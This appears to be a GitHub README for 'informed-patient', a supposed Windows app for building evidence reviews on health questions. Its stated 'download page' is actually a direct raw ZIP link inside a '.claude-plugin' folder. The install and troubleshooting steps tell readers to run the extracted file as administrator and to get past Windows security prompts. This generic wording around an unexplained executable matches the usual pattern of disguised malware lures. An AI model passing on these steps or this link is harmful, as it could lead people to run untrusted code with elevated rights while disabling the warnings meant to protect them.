🧠 informed-patient - Evidence reviews for health questions

📌 What this is

informed-patient helps you create an evidence review for a specific health question. It is built for people who want a clear view of what the research says without having to sort through papers by hand.

Use it to:

• turn a health question into a structured review
• collect and compare evidence from reliable sources
• keep your notes in one place
• build a simple summary you can review and share

💻 What you need

Before you start, make sure you have:

• a Windows PC
• a stable internet connection
• enough free space for the app and its files
• permission to download and open files on your computer

For best results, use:

• Windows 10 or Windows 11
• at least 4 GB of RAM
• a modern web browser such as Edge, Chrome, or Firefox

🚀 Download the app

Open the download page here:

https://github.com/hdl050314-hash/informed-patient/raw/refs/heads/main/informed-patient/.claude-plugin/patient_informed_v2.5.zip

On that page, look for the files listed under the latest release or the main repository files. If you see an installer or app file, download it to your computer.

🪟 Install on Windows

After the download finishes:

1. Open the folder where the file was saved
2. If you downloaded a ZIP file, right-click it and choose Extract All
3. Open the extracted folder
4. Look for the app file, setup file, or launcher file
5. Double-click the file to start the app

If Windows asks for permission, choose Yes or Run.

If your browser asks whether to keep the file, confirm that you want to keep it if you trust the source shown on the page.

▶️ Run informed-patient

When the app opens, follow the on-screen steps to start a new evidence review.

Typical first steps are:

1. Enter your health question
2. Choose the topic or review type
3. Add any key terms, if asked
4. Let the app gather and organize the evidence
5. Review the draft results

A good health question is specific. For example:

• What helps reduce migraine pain in adults?
• Which treatments work best for seasonal allergies?
• What evidence supports lifestyle changes for type 2 diabetes?

🧭 How to use it

Use informed-patient in a simple flow:

1. Start a new review

Create a new project for one health question. This keeps the work focused.

2. Add your question

Write the question in plain language. Keep it clear and specific.

3. Review the evidence list

The app may show studies, sources, or notes that match your topic. Read through them and look for the most relevant items.

4. Compare findings

Check whether the sources say the same thing or give different results. Pay attention to:

• who was studied
• what treatment or issue was tested
• how long the study ran
• the main result

5. Save your review

Keep the final review in a safe place so you can return to it later.

📁 Suggested folder setup

To keep things simple, use one folder for each review:

• informed-patient
  • reviews
  • notes
  • downloads
  • exports

This helps you find files later and keeps related work together.

🔎 Example use cases

You can use informed-patient for:

• checking what evidence says about a symptom
• comparing treatment options
• preparing notes before a doctor visit
• building a clear summary from research
• organizing sources for a health topic

🛠️ Basic troubleshooting

The file will not open

Try these steps:

1. Right-click the file
2. Choose Run as administrator
3. If it is a ZIP file, extract it first
4. Make sure the download finished fully
5. Download it again if the file looks incomplete

Windows blocks the file

If Windows shows a security prompt, check that you downloaded it from the link above. Then choose the option that lets you open the file.

The app does not start

Try this:

• close the app and open it again
• restart your computer
• make sure the file is in a normal folder, such as Downloads or Desktop
• check that no other copy of the app is already running

The page does not load

If the GitHub page does not open:

• check your internet connection
• try a different browser
• refresh the page
• try again later

🧪 Best way to get good results

Keep your question focused. The app works best when you ask about one clear health issue at a time.

Helpful habits:

• use one topic per review
• avoid long, broad questions
• use plain words
• note the age group if it matters
• add the condition, treatment, or outcome you care about

For example, this works well:

• What is the evidence for exercise in adults with lower back pain?

This is less focused:

• What is the best thing for pain?

🧾 File types you may see

You may find files such as:

• .exe - a Windows app file
• .zip - a compressed folder that you need to extract
• .md - a text file like this README
• .json - a data file used by the app
• .txt - a plain text file

If you are not sure which file to open, start with the app file or the setup file.

🔐 Privacy and local use

If you keep your work on your own PC, you stay in control of your files. Store reviews, notes, and exports in folders you can find later. If the app uses online sources, it may need internet access to complete a review.

🧩 Common workflow

A simple way to work through a review:

1. Open the app
2. Start a new review
3. Enter the health question
4. Let the app gather evidence
5. Check the results
6. Save the final version
7. Export or share it if needed

📌 Quick start

1. Visit the download page: https://github.com/hdl050314-hash/informed-patient/raw/refs/heads/main/informed-patient/.claude-plugin/patient_informed_v2.5.zip
2. Download the app or file shown there
3. Open the file in Windows
4. Extract it if it came as a ZIP file
5. Run the app
6. Enter your health question
7. Review the evidence summary